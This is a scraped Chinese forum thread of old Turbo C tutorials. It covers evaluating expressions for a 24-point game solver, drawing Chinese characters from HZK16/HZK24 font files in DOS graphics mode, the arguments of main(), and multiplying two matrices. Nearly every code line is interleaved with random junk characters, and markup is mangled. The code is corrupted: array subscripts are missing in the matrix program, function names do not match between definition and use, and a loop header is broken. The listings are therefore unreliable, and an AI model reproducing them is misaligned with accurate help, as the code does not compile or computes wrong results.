case '-': p=1; break;/ t- a% p$ f" o" H, ?
case '(': p=0; break;
9 Z5 k, ^" j' _) ^case '=': p=-1; break;
8 Z$ Y% C7 A5 M9 ]' l( {}
+ {7 T& Y8 Z& |0 }return(p);
9 `6 A! |& W0 ?}: b! W5 C  T' i; }
/* 此函数实现中缀到后缀的转换 */
: r7 X- @7 W( J/* M的值宏定义为20 */
: b) @. M4 i/ Q3 h/* sp[]为表达式数组 */
- `2 }1 P' `2 j. \int mid_last()
) A1 S7 c: z4 S- v$ G+ P9 U# k! H{ int i=0,j=0; char c,sm[M];
, K$ L2 E/ R- S+ |6 Dc=s[0]; sm[0]='='; top=0;  [6 \8 }7 H1 x0 D# r1 n8 Q- C
while(c!='\0')& z: Q. W0 b8 G( t3 V( k$ \
{ if(islower(c)) sp[j++]=c;# g" g1 ~* [  y' x
else switch(c)
, Q1 z. c3 S7 k8 R2 T  y2 I2 y{ case '+':; j7 O. t) p; i3 F3 V7 F8 [5 I
case '-':
9 C9 B" E3 o) n, Tcase '*':
- n% j$ d" K  pcase '/': while(first(c)&lt;=first(sm[top]))* X3 _& H2 y) q# S) R2 \9 e  p" A
sp[j++]=sm[top--];
% [# p9 U% x, H2 o# xsm[++top]=c; break;
/ y2 i$ p# W: tcase '(': sm[++top]=c; break;
9 N$ T: g/ N5 s& rcase ')': while(sm[top]!='(')2 F0 G% T" \) K: p' T! F8 \
sp[j++]=sm[top--];
7 a0 ?3 ^+ J+ A8 c$ _/ ~2 S' etop--; break;
& l" h3 ~# W: m( ldefault :return(1);
" \  _2 @- M! e; V% ?; Z" l}' W, }( r$ Q( p
c=s[++i];
" L2 N9 U2 V: O/ U) M}
0 J: K) J* I% m5 bwhile(top&gt;0) sp[j++]=sm[top--];; ^7 ]1 U% U4 Q2 ?3 ~1 S+ A% r6 E
sp[j]='\0'; return(0);
, N2 ]! |' D' j8 ]  f0 E4 Y4 G}
/ Q% m* O- [3 M( O; z/* 由后缀表达式来计算表达式的值 */
9 ~" k" d! H5 H& y, V& U9 {1 _int calc()+ o9 L3 E1 c9 s
{ int i=0,sm[M],tr; char c;
" \1 T, `5 C# X7 W/ H- jc=sp[0]; top=-1;
; A9 D  M) f' c3 b( T% @while(c!='\0')
1 `  `) e# r% J- R5 e% U{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
. [& ^" ^- a* {/ G: E这样才可以更方便的处理非一位数, ' g" n4 v3 }- l: s1 R9 Z5 Z
ver数组中存放着这些字母所代替的数*/5 I3 S; x& K( k
else switch(c)! D0 K3 ~$ Y7 b( E& c/ o* s
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
8 O5 \1 N8 a5 Q# ocase '-': tr=sm[top--]; sm[top]-=tr; break;
& g# J* W9 v  Z  @case '*': tr=sm[top--]; sm[top]*=tr; break;+ K& l1 b; @5 k  e8 w$ b" X: l. Q/ K
case '/': tr=sm[top--];sm[top]/=tr;break;) d; u7 ?6 _) e1 c, \
default : return(1);
$ S" W* l9 x3 ?}- `- e/ T  R( }! q
c=sp[++i];% P/ w5 [/ z" I
}
! ~. a$ k/ z9 U2 j$ z. p3 q+ Vif(top&gt;0) return(1);; ^; V! q$ p4 f  A2 U7 s
else { result=sm[top]; return(0); }1 n6 m+ G: g4 v+ ?! [
}$ b  P2 l) }: w( J3 F
</FONT>; b7 a% E( F9 B
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
- ^" |3 \: D4 j$ v$ ]- c4 Z9 a' g$ O# S1 E
  最后我总结了一下这其中容易出错的地方——
1 m+ |4 S6 o7 ^" D+ x6 Q/ Y' i3 C
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。' N" e/ d- w7 p& T3 I; ?
& s( q0 {8 G# r: b: L+ b* J
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
( I  P. J2 |/ X* y# s7 C3 B8 `* Z+ h5 o, w! ^
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
3 r6 c; `* d4 j8 |+ Z& u
' c: D9 h7 H+ n  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
6 Q. D" }1 z9 Y: I
- z7 E$ q* n0 w% G, a  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
2 B5 o. P7 x( u# t8 |( k, M
+ H8 P! L1 [' A0 |8 _! A  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。% m+ A$ h7 X( I* J
9 \4 w( z9 |8 m
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。) ?+ |$ D" D4 X+ k/ b, n
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
5 I# ^/ H, Q. c" L* l图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
# Q, {6 @& c% T6 a/ t7 R) c( D1 V  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
% o& G: {5 y' {  汉字显示的第一步是打开字库文件。 ! ~% n# k. ?4 S, G1 v
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
" n, j/ d9 [5 K+ z" x  }  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
3 x# N2 m% m$ l7 k1 k* F5 ~; u2 R8 N{
- e% ]/ E7 p: D- K3 [3 Y+ F- M  punsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/; m* q- Z# w  F; S& d5 g7 }# Q( e
int rec,i1,i2,i3; /*z:space between;*/
9 w6 l7 H% p% W2 _2 [) u+ zlong l; /*color:txt color*/# x4 m8 E$ ?1 H- s- a8 T
char by[32]; /*p:HZ str*/  C2 \7 a6 i. l
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
3 D: b3 A- [) M0 Q6 q/ rif(i&gt;0xa1). z( w! b& Z( Y$ n  s
if(f==0){
5 W# S  A; f, }c1=(i-0xa1)&amp;0x07f;
$ `" g. C) f$ if=1;
. u$ }: o. f6 H}3 [2 ^+ x5 L8 w" k, Y- T: W
else{
9 C  y+ w' N' N+ L  Wc2=(i-0xa1)&amp;0x07f;
/ j) M$ u* N& J8 l" S/ B* {f=0;
$ n2 V7 _2 k  |& J9 {& X8 \, x) B2 I. krec=c1*94+c2;
& E4 Z7 e/ S) S) n6 L2 N" ?/ ]l=rec*32L;
0 b7 x' w/ ~. ~2 q5 Clseek(handle,l,SEEK_SET);) G- V4 _% m; |/ n
read(handle,by,32);
) ~: T" f6 d7 F. U# F4 Y1 ~$ pfor(i1=0;i1&lt;16;i1++)! Z8 X3 g- f1 @+ T. U8 O
for(i2=0;i2&lt;2;i2++)6 B* a& R; @6 \; D% c  |
for(i3=0;i3&lt;8;i3++)& X7 H' c3 s& p& R
if(GetBit(by[i1*2+i2],7-i3))( f8 C8 ^* t; [
putpixel(x+i2*8+i3,y+i1,color);1 ~* `, E/ A1 l: U) w: v+ L
x=x+z+16;
3 ?$ W2 E" G1 z7 K" [6 l}: f7 [. e. ^( a+ r1 }' F  w  y
}, m3 p3 e1 O6 K/ S' S
return(x);3 ?6 n7 K- V% v1 S  t( W4 [) P
}
5 ~. M: [+ j. _6 \3 z函数GetBit定义如下:" c2 O, l5 t. y" P# S/ {$ Z
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。2 ^# U& u$ ]6 Y3 G. b9 I
int GetBit(unsigned char c,int n)9 V# A+ ~6 U" ~5 j- c
{+ }4 ]0 Z/ u+ W0 s
return((c&gt;&gt;n)&amp;1);* K* Q4 k" I! [( @& N
}
' V+ d: P$ p; c4 {1 ^; z, y1 A汉字显示结束,应该关闭字库文件。) \4 x2 r% `. u8 Z" p) I
void CloseHz(void)" ^1 G2 Y3 U: E1 a
{
1 h# y: [$ T7 |close( handle );
& |0 f: @% u6 m8 U$ X( {! z) M}4 Z- w6 J- ~# F
#include "\Caic\Include\Hz.h"
4 L/ u1 g" y; v#include <GRAPHICS.H>1 @* M5 A7 ^2 d( I6 H
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";8 d' g( L1 \# K# g1 r1 y
const char* HzStr = "苦丁香C语言辅助学习软件";
: }. T- Y9 a3 `% Cvoid main(){9 \: e+ j8 J4 j6 C
int gr=DETECT,gm;
, @+ x9 n! S4 Pinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");) A1 `" t& T+ U9 s8 M
OpenHz( Hz16Path );
* s, K* n2 b6 a; TWrt16Hz(20,20,4,RED,HzStr);
1 g8 R- a  x/ J) R  q' YCloseHz();
7 Y4 E1 S5 y. g! Hgetch();
* p; @7 Z1 A' u% t5 d7 R8 T6 hclosegraph();
( Q1 f4 ~6 I; {" G& I4 O}显示24点阵及放大汉字9 O, I$ P6 _% b: r
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
5 j4 Z8 d9 [- l. x( r- R5 s& c# |函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。0 ]: j7 _  R) V0 Q/ U
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p); [% N: A; o# o8 i
{
' v8 C4 J5 N" J, j* E. gunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/. `# `! J$ v4 Z/ U; z* b- H) k# ~
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*// d7 y- d9 j% V  P
long l; /*color:汉字颜色*/
' d6 A( D9 e- ^3 @6 x+ M  k& uchar by[72]; /*m: x 方向的放大倍数*/
" n0 G, B' g" O/*n: y 方向的放大倍数*/
1 j5 S4 S3 i0 [! S& I* O, `if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
9 v# y4 v% S( _* Cif(i&gt;0xa1)5 B3 a1 V, w$ h6 j! G* ^
if(f==0){
6 M& G+ S0 e' n6 E& x9 Wc1=(i-0xa1)&amp;0x7f;* W" \" A7 K; F3 m+ Y
f=1;  A) Q' {3 q5 I# K. ^
}$ r% ~: ^+ R: D/ C* g, c- A- e0 G
else{+ ~6 A( E7 U) d: U9 u
c2=(i-0xa1)&amp;0x7f;
9 Q* \1 y) c( S2 }f=0;: [9 }( f4 W% g: w* s8 n) F2 E
rec=(c1-15)*94+c2;  y  z  G+ k$ e. r9 y3 ^( @
l=rec*72L;/ \$ _; e: C8 {6 u0 {6 D
lseek(handle,l,SEEK_SET);* q7 P+ L4 D& |  X: Y# S8 {
read(handle,by,72);
1 o8 K# J+ K4 T& r! d' ffor(i1=0;i1&lt;24*m;i1=i1+m)) K# c$ t, v6 w0 {( b/ i% o( H9 y
for(i4=0;i4<M;I4++)
+ q  }1 [5 M% [$ R9 H for(i2=0;i2&lt;=2;i2++); ]( T  {! B( n; W
for(i3=0;i3&lt;8;i3++)
- k2 |8 X: p" Q0 d0 `if(GetBit(by[i1/m*3+i2],7-i3))
2 ~0 m7 g0 v2 Q4 @" Ffor(i5=0;i5<N;I5++)
7 O1 P/ d9 \* X7 G+ a' `, C putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
8 r$ K+ ]1 a! V$ O4 O, _x=x+24*m+z;  Q$ [4 v0 j1 v& c$ x* U
}$ D) k  [9 M* T9 L0 R
}) {1 J. V0 ?% c0 x6 d
return(x);- l* G7 ^% h$ K2 M2 i
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"9 F5 L. n" w8 _3 q6 q7 I$ |
#include <GRAPHICS.H>/ T/ \* U, O0 z2 b# u( @" b
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."+ H+ ^1 A' b# J
const char* HzStr = "苦丁香C语言辅助学习软件";
# n% O- v% f9 [' l2 Q; H- x2 T" wvoid main(){6 N# c3 o5 S( ]/ T, {" y  G& x6 a& s
int gr=DETECT,gm;
" \& j) p  X( g  ^4 oinitgraph(&amp;gr,gm,"\\Caic\\Bgi");1 }7 a7 Z+ H& W0 q2 G1 f
OpenHz( Hz24Path );9 `' q, n3 y) _! U/ k
Wrt24Hz(20,20, /*先是在(x,y)*/
8 \. L5 N) Y% K" B$ b: g9 h4, /*汉字间的空格为4*/' @# D# Q  [" ?3 Y+ ?1 y) M9 N
RED, /*用红色显示*/
, H' f3 T5 _- H$ `7 w5 `* \* k+ }% U. J2, /*x 方向放大2倍*/
7 k# p0 j" P5 ~5 {. b/ S3 z4, /*y 方向放大4倍*/
) _- c) _) t7 @9 x0 ?. r" E/ hHzStr); /*显示字符串*/$ P; v( ?4 V4 C& k8 R+ ^
CloseHz();
$ }# ]7 }7 f& w: M# s9 M+ Q. Igetch();
1 y9 F% }! x/ |7 ^3 ^closegraph();7 I5 s8 z" K3 \* W$ |3 v
}
6 C1 ?* b5 K$ M% n( s</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
, Q: l( B- |' `$ d# D+ F  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。: x! X9 l3 G" ~
1. main() 参数$ {; d) S/ d3 x, Y7 K  Z
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
$ a4 L# a1 J2 h& b  * argc: 整数,为传给main()的命令行参数个数。3 I3 f0 L& A3 u% v$ |
  * argv: 字符串数组。
5 A' U7 y* A& X在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;7 z& S* O( x( a
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
* p0 e% C1 g8 Z...# T" ]3 c3 o: \$ R' A6 ~
argv[argc]为NULL。$ j5 U$ w' Q" ~& q  Z  B
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
# J( r1 }' l5 @0 F- s! j6 T. _/ ?值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
' p8 K8 P: C7 M+ Y2 l8 E6 A3 x#include&lt;stdio.h&gt;& h6 x  g9 {% X5 n
#include&lt;conio.h&gt;8 E2 h1 @0 r* T
#define X 3" P! Z- H! l7 _
#define Y 3</P><>int a[X][Y];6 H- [: L' \. N
int b[X][Y];0 D2 h5 y2 i. u: D& w' H- ~
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);9 I- j1 E* y( ?( z! Y7 u) l  w" x
main()
$ `% }2 O- o% A! L# Y6 X% }+ ?{) i. L1 d7 H: J% w8 N7 Y) b3 E
int i,j,temp;
8 t, n# Q& _! v9 g2 v  rclrscr();5 }& h* w" F1 z/ j( m+ F2 R
printf("lease input int matrix b[%d][%d]\n",X,Y);+ d9 |* D; I3 l5 S4 W) a- W
for(i=0;i&lt;Y;i++)
; S& Y6 |& g( ]- z/ s1 vfor(j=0;j&lt;Y;j++){  Q6 L. ]2 s4 T! e
scanf("%d",&amp;temp);
' O. u+ e% A% R; D8 M% Lb[j]=temp;
0 o6 E; H  @4 R9 h3 r: v2 U}
* ~5 C" ?! y" G& m% J6 ]: Iprintf("lease input int matrix c[%d][%d]\n",X,Y);5 T5 o" I1 O8 [
for(i=0;i&lt;X;i++)
0 W7 e% J; Z) b+ H. @: yfor(j=0;j&lt;Y;j++){
3 G( @0 o; L3 k4 t3 g  B( Sscanf("%d",&amp;temp);
0 ~/ Q2 J- |# O2 H0 U# ~c[j]=temp;& z9 s: Q- ]$ t& Q; U( t1 ~
}4 P* q2 z9 q, e% N% K
matrix(b,c);
, l$ n2 c2 C/ w( p0 Q- Fprintf("Now print resource matrix b[%d][%d]=",X,Y);+ u  n& h$ V( r# v# g) @2 E
for(i=0;i&lt;X;i++){: Z1 k0 i& Y# B3 y2 I
printf("\n");0 x. Z; Y! q& T% {, D
for(j=0;j&lt;Y;j++)) k( |* e6 P6 \0 |
printf("%d ",b[j]);* Z2 W- n2 n2 ?6 Z% x( h
}
- j& k1 n+ `, Q, s! G- |printf("\n");
. P$ C9 k6 E+ ]0 H7 H, k) h" fprintf("Now print resource matrix c[%d][%d]=",X,Y);
4 q/ T/ L2 t7 o8 Z* W8 d6 e4 Yfor(i=0;i&lt;X;i++){
& W% U" {) K' u/ {- R$ ?printf("\n");* E0 U; g( b9 f" S7 D
for(j=0;j&lt;Y;j++)
/ B: j/ h1 ]- g+ lprintf("%d ",c[j]);+ r, h- X1 @+ d1 w2 t/ s. w: [: O
}9 E( c- D& O, M* G( G1 f! w
printf("\n");4 @1 {7 o) M+ f  s. A
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);! f0 y& _+ T& g0 V1 f% u8 T- X5 q- o1 B
for(i=0;i&lt;X;i++){
3 c/ \9 e! @8 U5 @printf("\n");
) N* {) k$ g) B4 i% Bfor(j=0;j&lt;Y;j++)
' w6 G* T7 X0 [0 wprintf("%d ",a[j]);) Y5 ], R: Z4 p0 ^) X% A4 a
}
5 x7 ^2 t3 r2 V4 jgetch();8 g; I$ f7 l* s3 y& |
return 0;
$ N4 h4 B4 p3 N8 p' m! t4 ~}! W2 I5 \) V/ e5 s
/********************************************************************/
+ t6 ~; @8 v5 Z' ]- M7 Z" Ivoid matrix(int b[][X],int c[][Y])1 T7 j% t. v: I) i5 K+ E
{
* t$ V& x( y( I4 y- Z$ Xint i,j,k,temp;. o$ Y# ]; M. q6 j) H  d
for(i=0;i&lt;X;i++)
3 ]: V0 \, d( C/ o+ Ifor(j=0;j&lt;Y;j++){) u) E& q/ v0 c& ~* V
for(k=0;k&lt;Y;k++)% \  s# a  c1 l
a[j]+=b[k]*c[k][j];
$ a' \) F6 X1 R4 h! D}5 u4 C4 d- r) O/ A9 T; S: x" u2 p
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 08:39 , Processed in 0.505499 second(s), 90 queries .

回顶部